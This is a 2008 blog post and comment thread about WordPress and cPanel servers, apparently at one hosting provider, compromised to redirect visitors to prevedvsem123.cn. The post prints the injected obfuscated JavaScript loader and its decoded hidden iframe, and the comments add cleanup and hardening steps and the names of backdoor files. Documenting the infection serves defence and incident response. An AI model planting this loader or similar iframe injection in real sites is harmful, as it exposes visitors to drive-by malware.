Building Websites, Traffic, and Income
Bugs, Viruses, Backups, and prevedvsem123.cn
Updated: A Note Before You Read On
I don’t know the source of this virus currently. All I know is that everyone I have talked to so far that has this issue has been on a Layered Tech box, either directly, in the case of Woopra or through resellers. I have not found any other information of it effecting other hosting providers yet.
But I am only stating what I know to be true and trying to help people stop it on their own because god knows that these support desks are going to have their hands fulls.
Issues like this could be the result of third party scripts that run the server and be unconnected to the host itself.
The Purpose of This Post
I starting playing around with the internet right around 1998. I started playing with code and servers about 5 years ago. Anything can be learned in the field. Just use the power of search and follow instructions well. That is all you really have to do if you are required to be tech guy as well as a blogger.
The rest of the post may be boring at times, but it illustrates a troubleshooting process that may be useful for collecting the data you need if the problem becomes more than you can handle.
Use search. Any error message, window title or url can be used to track down the problem on the search engines.
The term I used to track down anything on my issue was “prevedvsem123.cn”, a url the iframe redirected my blogs to. At the time of my search I only found three references:
How to Protect Your Blog
The Fort Knox method never worked much for me. If you have Fort Knox worthy information outsource it’s storage to someone who knows what they are doing and does it for a lot of people and is insured.
The longer your site is online, the better chance you have of falling prey to any various attack. Most are not targeted and are widespread because they travel with various web apps and addons. You should probably not even consider the question of if. You need to focus on when.
The alternate route is having enough backups to cure you of paranoia. And then going through it once or twice and coming out virtually unscathed. The initial choice that made quick rebuilds possible was a common CMS like WordPress. The tools I use for this are listed below:
- SyncBack – Freeware to schedule ftp file backup. Not really needed if you build your site on your home computer first and upload from there. But I save the wp-content folder which houses themes, plugins and uploads. I all save wp-config.php. The rest can go. I can replace it with the latest version of WordPress. This mirror is also backuped regularly onto a portable hard drive using SyncBack.
- The WordPress Database Backup Plugin – This plugin sends a daily database backup to Gmail.
- Gmail – A buttload of storage makes Gmail a good place to archive things. I can delete all the old mail if I ever get worried.
- Thunderbird – I also store the last week of backups of each of my WordPress databases in a local Thunderbird folder.
Rebuilding consists of importing your last wordpress backup file into a new database, if needed. This is easily done through phpMyAdmin, but I didn’t have the luxury of that this time. And if you have no idea what PUTTY is, use SQLyog to connect to the remote database.
Install WordPress for your blog. I always use one-click installs for this part. It is much easier and the updates are usually one click after that. Cpanel has Fantastico and Dreamhost has one-click installs.
Once that is done, upload your ftp backups of the wp-content folder and the wp-config file. A free FTP program like FileZilla will do.
I usually give it an hour. A few times because of host differences, plugins that worked on one server did not work on a new server. And a few times, I couldn’t import the whole mysql backup for one reason or another. But I could see it finished in about 15 minutes
Let them attack and don’t worry about it. You may want to really check your wp-content folder because that would be about the only way into your new installation.
The First Signs of Attack
Three blogs down, but not all the blogs on the server. Two blogs were showing this error:
Fatal error: Call to undefined function require_wp_db() in wp-settings.phpFrom what I can tell, an error like this usually happens when a file is missing from a WordPress installation or it has been edited incorrectly.
The solution: reinstall WordPress. But the problem was not over. I could see my site, but it was acting strange.
What I Discovered on My Blogs
On random page loads at my blogs, I would get a redirect to:
prevedvsem123.cn/25/getfile.php?f=vispdf
and pop up that tried to open a incorrectly created PDF file.
So I looked at the source. At the very bottom was this:
<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = ""; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write(result); </script>
Sometimes once, sometimes twice depending on which blog I was looking at. There was then an extra body and html tag, like the thing was just tacked on the end. I could only find this codes on the page loads that would not redirect, because when it did, I was obviously on another site by the time I had a chance to view the source.
The vispdf part of the url refers to a script that creates pdf files and explains at least the reason why Adobe opened up and told me I had tried to open a file with the wrong extension.
From what I can tell, that script wrote this to the bottom of my page:
<iframe width="1" height="1" frameborder="0" src="http://prevedvsem123.cn/25/index.php">
And Inside Cpanel
I found the same javascript loader inside of my cpanel control panel. I checked the source. It also had been randomly loading the email form mentioned above.
If you followed the link to Woopra, you will find that two commenters jayson and roo mentioned having their sites hosted on Layered Technologies, where my server and Woopra’s server is located. I don’t screw with the directories in my host other than regular web files. And there is no way I could have inadvertantly added javascript to Cpanel. This is out of my hands.
I am not saying that Layered Tech is at fault. Anyone with the same issue using another host chime in. It will help track it down to a possible security flaw in a script.
The Cpanel installation folder is /usr/local/cpanel/. I decided to investigate. Not change anything. Just to see. In that folder I found a file: “ExampleModule.test.html”. The following is the contents of that file. What triggered me to look at it was the date. It was yesterday.
<html>
<cpanel ExampleModule="printfile(/proc/cpuinfo)">
</html><html><body>
<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); d
ocument.write(result);
</script></body></html>
Then I started looking at some of the other html files in the folders, but there were a lot of folders. I found the same code at the end of htdocs/index.html. I am not sure where to go from here, but I know I never touched these files and am not sure who could have.
And it hit more than that in cPanel. Currently I cannot access phpMyAdmin and get this error:
Parse error: syntax error, unexpected ‘<’ in /usr/local/cpanel/base/3rdparty/phpMyAdmin/libraries/common.lib.php on line 643
This got me thinking and I went to one of my WordPress installations and found that the footer.php file had been rewritten with the same code at the bottom. Three blogs so far found with the footer of the theme file change in the exact same way. But only the footer and only the active themes.
No clue where to go from here other then to remove what I can from my files and wait it out. I have removed the code from my themes and will watch for anything else. A script had to do some sort of mass appending of this javascript to the end of the files. As far as I know, it is still some where. Layered Technologies and resellers needs to figure out what’s up on their end or I may just have to move to my own server with Dreamhost who I have had a standard account with for a few years now.
And that is what I call a roadblock. They will happen. Many times, two or three at the same time. About the only way to look at it is from the point of view of a stoic. One step at a time. It’s done when it’s done. No need or reason to get angry because that will only slow things down. And approach as an investigator to give you a little bit of the detachment you may need to keep from reminding yourself that you are working on your own livelihood.
Related articles by Zemanta
- Thank heaven for the WordPress backup plugin
- WordPress Hacks: Upgrading Versions
- Automatic Beats Stick Shift Upgrade
![Reblog this post [with Zemanta]](http://img.zemanta.com/reblog_e.png?x-id=d644dd71-0618-4dc6-807a-4e4325f4a899)
155 Responses to Bugs, Viruses, Backups, and prevedvsem123.cn
Leave a Reply
Hello again guys and thank you Stephan Miller once again for opening this post and we can at least complaint.
I have upgraded my server last month to FS and LT. I had to pay 150$ for data migration and 150% extra for OS reinstall because nobody had told me that CentOS 5 doesn’t support php4. (Many other hostings though can support both OS and offer free data migration).
Today and after this issue that we all faced, they are asking me to reinstall OS. And of course to pay another 150$ while nobody can ensure that this will not happen again even to a fresh OS. (Mind you that my current OS is less than a month old!)
For forcing me doing this they dropped my defcon level from 2 to 5 and said that in case of abuse my server will be disconnected.
I read that all people who had this issue was at LT. i know that stayed awake all night trying to figure out what is going on. I know that this is not my fault and last but not least i know that i will not pay a single cents more than my monthly fee.
I let you judge because I have already.
Thank you for reading me.
My server has been hacked with “prevedvsem123″, too. And yes, it’s in LayeredTech, Texas, Plano. I don’t use WordPress or any other publically available scripts.
Not sure what any of this means, but when loading an infected page, a bunch of PHP files are downloaded to my desktop. Opening the file in Dreamweaver, the file has this line of code:
Warning: gzinflate() [function.gzinflate]: data error in /usr/home/master/domains/cl-amg-63.com/public_html/25/getfile.php on line 0
A quick look into cl-amg-63.com points me to someone in Dallas, Texas who used domainreg.cn to register the domain. Interestingly enough, the domain was registered two weeks before this problem started.
By the way, Plano (Layered Tech’s location) is just 19 miles from Dallas. For what it’s worth.
Interesting. If you navigate to prevedvsem123.cn, you get
“Welcome to the home of cl-amg-63.com”
Found some more info:
http://www.phpbb.com/community/viewtopic.php?f=46&t=1248045
By the time I have written my messages, I haven’t read all the previous posts. i just read many of those and found out that people from LT have responded here!!!
Five hours ago, Tim H. from LT wrote to me “The page that you provided was helpful.” meaning that without Stephan’s page he will be fast asleep!
But they DID KNEW!!! And since last night that this came up they are telling me that they were trying to figure out what is happening!!!!
I own a page of 20.000 users and many of them couldn’t access the page or got a message that page has malicious content or had that pop up pdf. And the LT was trying to figure out what is happening!!!
I’m sorry guys but 2 days ago they disconnected my server for exploits without even contacting me first, they were hiding and seeking between abuse dept and tech dept and having me to forward the emails from one to another that they could simply pass from the one desk to the other….when the abuse dept was asking 150$ to clean the exploits while the tech dept was doing it for free, when they were telling me that they are different depts and only when i found out that THEY ARE THE SAME THING the abuse decided to help with no cost!!!
After all these what else you can think of? The only thing I can think of is that they are in need of money and are trying to find ways to get them.
If they don’t do something fast, this is my last month at Fastservers and Layered Tech.
By the way, I have written them 2 hours ago that by getting my defcon level from 2 to 5 in order to force me reinstall OS is black mail and they still haven’t replied.
I hope that they will think about this issue twice because I pay them 463$ per month while there are companies with half money and with no exploits according to my coder’s experience.
Thank you for reading me and sorry for being furious about all these!
I’m surprised there is nothing at WebHostingTalk or Layered Tech’s own forums about this.
@Elena You have been a big help today in clearing up what’s going on behind the scene. Thanks!
@JustAGal I think there is. I have been getting hits from the forum, but am not a member. Here is the link:
http://layer0.layeredtech.com/showthread.php?t=11331
Also a lot of hits from a crap load of other forums:
http://www.celestialheavens.com/forums/viewtopic.php?p=251116
I have noticed that about half of the sites hit now have to do with super heroes and forums. Not sure if that suggests some sort of pattern.
Stephan, your link goes to MY post.
I’ve found nothing anywhere. BTW, the LT tech told me that since the server is self-managed it is my responsibility. I told him, when the problem is the LT network, it must be nice to create messes and then tell your customers to deal with it. I guess I really was stupid for sticking around after their price hike. Would love for Jeremy and John to reply again to this.
That figures. LOL.
Jeremy and John had me scared for a while that I was on the wrong track and had some crow to eat.
Also having this problem, my server is at LayeredTech as well.
That’s very nice to hear Stephan!
There are more stories to tell you, like till this morning they were accusing my banners about this exploit!!!! Funny eh?
Well, not very funny since I found out that they knew about the incidence!
3 hours of no reply now after their blackmailing. I guess that they are having a meeting….
Hope they will try to correct this otherwise the black mail of T. H. – Senior Systems Administrator, will be published to all over the web, starting from here if you allow me.
Mind you guys! I pay Defcon 2 and right now i have Defcon 5 (means no support) for something they are responsible!!!
Oh my! I really don’t know if i want to laugh or cry!
I have had good hosts and bad hosts. But for the most part I have been intrigued by the ones whose business model is advertise the hell out of yourself then drop the ball on customer service because it is all under the wraps of a closed forum and becomes hearsay if you repeat it outside. It’s a slaughterhouse model. There are always more cattle to send through the chutes. The business is good if more go in the front door than go out the back.
It just occured me… i have 17 domains on my server. Besides my main site all the others are small and of no interest.
Why the hack didn’t hit those small websites but it did hit my big one? I have a development domain which uses identical code, why it hasn’t go there but gone to the domain of my interest?
How the hacker knew what to hit? Did he know my interests? Again I’m telling you that my code isn’t WP nor VB, it is probid. On the other hand I have 5-6 websites of WP and VB and none of them got infected…Strange eh?
Something smells bad here and for sure it’s not my shoes!
All I can think is there has to be trigger somewhere. Something has to wake the thing up to start doing mayhem and it must act for a limited so as to not through up flags. Something either us or the hosting provider normally does regularly has this thing attached to it. But I am not that tech, I just try to think my way around logically, not always the best choice.
Also a layered tech customer, and my entire server had been compromised / infected with this garbage script.
Please let me know if contacting Layered Tech Support is worthwhile, or if I should just start dealing with this on my own.
Oh, by the way… This has nothing to do with Cpanel, as my server has DirectAdmin and seems equally affected.
@Jeremy, you can contact them to clean your affected files and tell them that you know that the issue is known to them. Otherwise they will drop the blame to your banners or even to the bad weather.
But be aware!!!! that once you will contact them you are in danger to lose your defcon level and be asked to reinstall OS!
I spoke with the Sales dept and they said i will not pay anything. The guys from Tech said to the Sales that they replied to my ticket. LIARS!!! Just visited pentagon. They never replied to any of my tickets the last 7 hours.
As I just wrote to sales dept:
“For all the time they delay I’m at defcon 5 while I’m paying for defcon 2 and for anything that may comes up my server is in danger to be disconnected.
I pay defcon 2, I have 5, they don’t reply and I’m in danger without this being my fault.
If this is not a torture what else can be called?”
I really don’t know how long I will stay at this service. This situation is sick and makes me feel sick as well.
Elena,
LT may have replied to you on the ticket page rather than your email.
Hope this gets resolved soon.
Hektor
LT reloaded the O/S for free. I have to re-install lot of stuff but honestly, LT has been way better than Interland, Valueweb, AIT etc. that I have also used in the past. So I am not complaining. I do realize that they suffer losses due to these hackers like we users do.
Hektor
@Hektor, like I said, I visited pentagon before i write. I just got a reply from the Sales dept, which confirms the approval of free of charge reinstall and data migration. They said that someone from the tech will call me to arrange it.
But until they do why shall I be on defcon 5 just because Tim decided so?
Also I don’t know how big or small your sites are but my major’s site database has 68 tables while some of those have over 6 million rows and an image folder which contains more than 4gb of images. Imagine what I’m going through everytime I have to move due to my fear of not losing anything.
Furthermore, who tells the users that there will be a downtime again ….
Does anyone know how it got in yet? I am still running on one of the servers and am not sure whether to move forward or just sit on my hands as probably all of you are. Even if things are cleaned out, it is only temporarily safe until someone knows that and (the important part) it makes sense.
Dear Stephan , I would like to thank you once again for being so helpful with your post. Without you, we would still wondering.
Furthermore, i want to thank the Sales Dept of Fastservers for their great and immediate help and their approval having the reinstall at no cost.
Wishing you all a nice day!
No word on how this got in, though a tech is going to check things out further for me. I’ve spent a lot of time cleaning up all the files, I really hope I don’t have to do an OS reload. Hektor, did you ask for a reload, or was it suggested to you?
Yeah my layertech server got hit as well. The solution they are reloading the server putting the old drive as slave so I can retrieve my data (anyone know the commands for sed to find and replace all infected code as I have several hundred files infected). I don’t think that will actually stop the event from happening again. I hadn’t actually used the help desk for some months before this happened. And I regularly change my root passwords.
I got my WP blogs messed as well and the funny thing is that I’m also at LT.
But, I’ve got a way of cleaning the server, it took me about 5 minutes to clean all 46 WP sites. If you do need help let me have your MSN or Google Talk contact, you don’t have to give me root access, I can send you instructions as long as its a Linux box, on the other hand we can also build contacts. You can e-mail me your contact to: jenny.mac [at] hotmail.com
Thank you Stephan for the updates, this has helped me deal with LT.
11 | Jeremy
October 20th, 2008 at 9:41 am
Avatar
quote:
2 | Stephan Miller
October 20th, 2008 at 6:56 am
Avatar
Just a note: It seems like Layered Technologies was hacked about a month ago and the hackers got over 6000 usernames and password. I go through a reseller and obviously got no notice of this. The hackers got in through the help desk software. You know the part where they tell you that they need your password and all the data is encrypted. Not so sure if I trust that statement any more.
end quote
You are spreading false information. Layered Technologies had a security breach in Feb 2007 and informed all active clients of the breach and the impact. At the time only usernames and passwords that where submitted via helpdesk tickets where exposed. Passwords and details which should be changed on a regular basis.
I do not see how LT is ‘hacked’ as they do not provide shared web hosting and only dedicated hosts and virtual machines which are self managed by the end users. If you find a hacked host you are best to report it to their abuse department so they can take action. I would suggest you change the title of this post as it is not true and I believe you are simply doing this to increase your page views. Please edit your title or show me some proof that Layeredtech.com or one of our sub sites is indeed hacked.
Regards,
Jeremy
This post got your company a pageview, but after seeing your attitude and threat in the above comment, I wouldn’t even think about doing business with your company.
Regards,
Brian
On 10/21 at 2:18pm EST I recvd the official response from LT:
“We have discovered/removed the telnet backdoor bound to port 1144, and several other related binaries. I recommend you change all system passwords immediately to avoid any further intrusion, but to be 100% sure this does not occur again I would highly recommend a reload of your server at no charge. Please let me know how you would like to proceed.”
A very nice offer indeed,”at no charge” … but somehow I’m thinking they don’t plan to reimburse me for the HOURS we spent cleaning up this mess and the HOURS it will take to reload/retest the application.
The story isn’t over yet. I found something on the server that shouldn’t have been there…. I’m waiting for a response to that from Layered Tech … and I will be posting the details here.
fyi, i posted a short story on ActiveRain about this in case anyone wants to read my intro to this long saga
http://activerain.com/blogsview/750017/prevedvsem123cn-eats-Wordpress-sites-for-lunch
@Jenny Thanks for coming by. I set you an email.
@Kase Thanks for coming back with some news. Stumbled and “SocialMedianed” your post.
They want me to reload the OS, but what I am thinking, with everything backed up and a mirror here on this computer, why? That would take a while with no guarantee. And cost me $50, which isn’t much. But the other option is just jumping ship. All of my data is on my laptop, like I said. I can switch over the DNS, be on a new clean server with no dangling issues and be up everywhere two days later. To tell you the truth, the reseller I go through has been awesome for two years now, always polite. The reload will take just as long as a move. But I am a pretty busy person and right now I am babysitting this mess with projects waiting for attention. The other option: I don’t see much going on right now. The thing has done it’s damage. If it is going to do more and they didn’t find the answer, it will do it with or without a reload and then that time will be wasted. I could just ride it out.
What would you do, because I have no idea?
@Stephan:
We have two devices with LT. One for development, one for production. When we ordered the production device last month, we specifically went with LT to ensure there would be no OS or hardware issues when we moved from development to production.
We have been told device #2 was insecure due to an open port. If these devices were identical, it means our development box is also insecure, but was not attacked. We have run a search looking for files touched on the hack date
find / -iname “*.*” -mtime 4 -print
Device #1 (dev) is clean. Device #2 was still infected
We have run http://www.chkrootkit.org on device #2 and it shows no backdoors open.
To finally respond to your Q:
We have an obligation to the client to ensure their application is secure. Our quagmire right now if device #2 was insecure, and that it was a mirror of device #1, then we should assume that the dev box could have been hacked, but wasn’t part of the IP attack range.(so both need to be reloaded)
We are continuing to work on this because the time we spend now is still less than moving everything to a new host… although a few more days of this and we’ll have crossed that point.
What’s brutally ugly for us is that we moved the client from another hosting provider. We launched on the 8th and nine days later, a hacker runs wild with a machete. Not the kind of thing that makes for a good impression.
It would be very useful to know the IPs of the attacked domains. If anyone who was hit would provide that, it would help us make some decisions and of course, we would share whatever we learn. If you don’t want to post IPs here, send them to me at kase at apin dot com.
@Kase
I am not sure why your specific comment won’t show. Investigating. Had this type of thing happen before. When I click on edit, it is there. It just doesn’t show here.
“We have discovered/removed the telnet backdoor bound to port 1144…”
Wait, there was a backdoor in just LT’s system? That combined with the reports of the attacking domain being registered 2 weeks prior to a person only 19 miles from the data center location leads me to think that this could be an inside job. Also, the attacking bash script comments are in english, not russian like someone suggested. Not saying the sky is falling, but it sure looks like it.
Either way, good news to hear that they tracked down the issue.
@kase Fixed the comment. Was a problem with a dofollow plugin. Switched plugins.
My IP’s: 72.232.206.154-72.232.206.158
@Nate That’s what I was thinking. Maybe a pissed off employee.
Just want to add my side of things, since my site is referenced in the blog post.
MTS2 has multiple servers split across 2 of LTs data centers. 3 of the new servers in the new data center that I have just got where hit – the other 3 weren’t.
Here’s the thing: None of my MTS2 servers run cPanel. 4 of them run vBulletin. 2 of them dont (these 2 weren’t hit). One of them runs vBulletin but was NOT hit becuase I’d secured ssh etc. That leaves 2 which where running proper vBulletin and 1 which had an extremely cut down version.
I found traces of the scripts, but it also left the servers in a bad runlevel becuase it removed utmp and wtmp.
I found and cleared up the infections fairly quickly, and even wrote a small PHP script to do it for me.
Whats interesting is that my non-new server didn’t get hit, nor did my other vBulletin sites on a non LT server. So, I’m tending towards a pissed off employee type thing.
In my opinion you don’t *really* need to reload the OS (that seems a bit extreme to me). All you have to do is to run a couple of find commands and find all the infected files. If there are a lot, then consider a PHP script to do it for you.
Sounds like Jenny has already got something similar.
That sounds logical. If this type of dirty script had hit the OS then I probably wouldn’t see anything when navigating to my site, just from what it did initially to the WordPress installations. A few braces in the wrong place is one thing.
I emailed Jenny for the script. Do you have yours? I can attach them to the post. stephanmil at gmail.
I’d like the script as well! Just in case.
Sure, the script is quick and dirty, but it worked. All you have to do is to edit the directory at the top, and change the find parms. It’s possible to run it via Apache if you wish, but is totally untested – I did it from the command line.
Source code is http://forums.relicnews.com/delphy/cleanup.phps
Feel free to edit / modify / improve. Like I said, quick and dirty and was only really intended for my own purposes, so….
Thanks Delphy. That helps a lot. I have a WP MU installation with about 100 themes. I guess I could have synced the folder from my computer, but it would have taken a while.
FYI. I deleted one of my sites in its entirety and restored it over the weekend to get rid of this hack. Well, it just came back. I’m mad as hell.
Hi, I was hacked too…
I want to ask, what OS was installed on hacked servers?
PS Backups is not cure. You have rootkit on your server.
Check strange SIUD processes. I found few files in my sbin directory.
My server at LT was also hacked at the root level. AFAIK the passwords are only in two other places. With LT themselves and with my Server Management Company. Since the password it very complex (mixed case, symbols, numbers and letters) an inside job or breach of LT’s Account Management System doesn’t sound far fetched.
I found it a bit odd/coincidental that LT sent out an announcement today saying their Account Management System will be offline on Sunday for upgrades.
btw: How exactly does the telnet backdoor work? Can someone just telnet to that port and voila they are in? In that case servers at other datacenters would be vulnerable to wouldn’t they?
Same here
We corrected all the affected files yesterday.. also.. cahnged the root password..
NOW Today.. the server got hacked again 2nd Ocurrence .. all sites were displaying an 500 error..
all files were maliciously remodified with the code at the footer of ever html page .. all logs were deleted.. all fle permisions chaged to root.. all temp files wiped.. so tehre is no where to look for a pattern
We have corrected the sites manually (once again today).. but this is only putting a Band aid on this issue
Unbelievable..!
JustAGal, I’m self-managed with LT so I have to do everything myself. Since the first attack I had one subsequent one, but after that I did the following:
- Changed /etc/ssh/sshd_config to: Disable root logins, ignorerhosts, change the port number of ssh to some random one, disable sftp, allowemptypasswords no.
- Added a new user account that can sudo etc
- Made sure all my web files are owned by that new user
- Change your root password
- rm /var/log/messagess
- Remove any services you don’t need, just for extra security (cups, console mouse services, etc)
- REBOOT your box (this part is critical since the attack removes wtmp and utmp and leaves it in a “bad” runlevel)
If you have a cPanel box then just the first step should be ok (so long as you have an account you can get root on!)
This way, although it’s not completely secure, at least all the *default* stuff is covered.
Hope this helps
@JustAGal
What ports are open on your device? LT said that it was 1144 that was used to gain access.
Here’s what I have on my hacked device:
is responding on port 21 (ftp).
isn’t responding on port 23 (telnet).
is responding on port 25 (smtp).
is responding on port 80 (http).
is responding on port 110 (pop3).
isn’t responding on port 139 (netbios-ssn).
isn’t responding on port 445 (microsoft-ds).
isn’t responding on port 1433 (ms-sql-s).
isn’t responding on port 1521 (ncube-lm).
isn’t responding on port 1723 (pptp).
is responding on port 3306 (mysql).
isn’t responding on port 3389 (ms-wbt-server).
isn’t responding on port 5900 ().
isn’t responding on port 8080 (webcache).
I ran the above at
http://www.t1shopper.com/tools/port-scanner
On your box, do a:
netstat -l | grep fuscript
If this comes up, then port 1144 is still open.
Delphy: Thanks. I’ll try your suggestions. I also need to figure out how to run the script you provided. It needs to be run via SSH, correct?
Kase: I got the following:
is responding on port 21 (ftp).
isn’t responding on port 23 (telnet).
is responding on port 25 (smtp).
is responding on port 80 (http).
is responding on port 110 (pop3).
isn’t responding on port 139 (netbios-ssn).
isn’t responding on port 445 (microsoft-ds).
isn’t responding on port 1433 (ms-sql-s).
isn’t responding on port 1521 (ncube-lm).
isn’t responding on port 1723 (pptp).
is responding on port 3306 (mysql).
isn’t responding on port 3389 (ms-wbt-server).
isn’t responding on port 5900 ().
isn’t responding on port 8080 (webcache).
Also, just for completeness. To disable port 1144 completely:
- Edit /etc/services
- Find the lines starting with fuscript (there will be 2 lines)
- Comment them both out
- Save
- Reboot box
- Recheck netstat to be sure
Yes, my script needs to be run via ssh – preferably *not* put in the folder you are trying to clean since then it’ll clean itself.
Just put it in ~ or something similar.
Check your sbin directory for files /sbin/shs – “morpheus root” and /sbin/misc – subshell Backdoor made by Mironov. I don’t know, maybe hackers using different file names, but we found these shells on two hacked servers. Just check for strange SUID processes. I’ll recomend reload OS on your server.
All hacked servers I know at this moment was on Cent OS. So if, you have that OS, I recommend to reload server with FreeBSD or something another OS.
Damn I have to keep up with this thing.
@JustAGal
The interesting thing about that is that compared to what everyone else here has done, I have done virtually nothing. Just removed the script from the bottom of my active web scripts and every site seems to have no issues. The thing is still in Cpanel and has messed up the PHPmyAdmin installation there. I am not sure what that means. Maybe actions trigger it?
@john
Now I am going to show my ignorance. I am not sure how to check what OS I am running. I know I picked on when I got this server, but can’t remember and am not sure how to check. I was going to throw up a link to a phpinfo() file but I am also not sure if that is a safe thing to do. Let me know how to find out and I will. But CentOS does seem to ring a bell. I guess if all else fails I can add that to my support ticket which I put on a holding pattern right now since that any action seems to trigger it to come back.
@Arny
My password was that complex too. I have to write it down to remember it. There is not way they hacked that.
@LTCustomer
It seems from all the comments that the only thing that really works right now is the bandaid.
@Delphy
You have been a big help here. I am self managed too. Probably shouldn’t be, but am. As soon as my day job schedule is over today, I will be using the tips in your comments.
And another interesting thing. You know I could only access everything from the root. Yesterday that changed. I did nothing. Now my user level access is back. I will have to check support to see if they did anything on that front, but as far as that goes I told them to hold on.